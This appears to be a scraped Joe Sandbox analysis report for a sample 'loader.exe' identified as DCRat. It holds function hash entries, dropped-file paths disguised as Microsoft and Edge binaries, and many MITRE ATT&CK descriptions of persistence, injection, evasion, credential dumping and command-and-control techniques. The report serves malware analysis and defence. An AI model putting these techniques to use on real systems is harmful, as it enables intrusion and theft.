Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction ID: 3048f9248019bea7b6f186f8c5423cf2b2eab0437b84f9e769dd21ee3450d732
Opcode Fuzzy Hash: f3b8c8b3e0962f55aa8ec453ac382a4c1ea26ff2b2dd7e33b5edad8257a9d8e1
Instruction Fuzzy Hash: 16C08C00FCB58B00B400316E18E60ECA120DBC7A28FD00032D30CD20959C3F20C5214A

Function 00007FFD343D12D8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction ID: f2c7580b359e954caa7700577bdda0318b4c9fe2d3013718838c153da6db0bf5
Opcode Fuzzy Hash: 8a6a5952e237a4aad34eef64097f3566ef20b7200f43b6a4cf4db5395f283f27
Instruction Fuzzy Hash: 3DC04C345558098FC948FB2DC99591477A0FB1A215BD50190E409C7171D66ADCD5D741

Function 00007FFD343D06D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3454512751.00007FFD343D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd343d0000_tQESKTdysPpsVzUyXTE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction ID: 735aa1df858eb5aeddf2c33aa0c7ee299a1304de0fead9086c4a11b781a4167b
Opcode Fuzzy Hash: 900fe70b819421745e4b4d75626da07f78d276a3c8375ed78851615b9ea59be2
Instruction Fuzzy Hash: 26B01200DD748F00A40431BA08D60A47050AB47104FC00070D60CC1089987F10942242

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report loader.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft\886983d96e3d3e

C:\Program Files (x86)\Microsoft\Edge\Application\CSC1E4D641D33A148FC98C6B9EA6A6669B1.TMP

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

C:\Program Files (x86)\Microsoft\csrss.exe

C:\Recovery\088424020bedd6

C:\Recovery\conhost.exe

C:\ServerWinRuntimeBroker\OAKCwEsKnudXsAgphVRYMDBaoP2ZIjCO6J5QYyd0q81GMNjCqOkwlC1.vbe

C:\ServerWinRuntimeBroker\b1f51d77788e90

C:\ServerWinRuntimeBroker\chainPorthostCommon.exe

Windows Analysis Report
loader.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre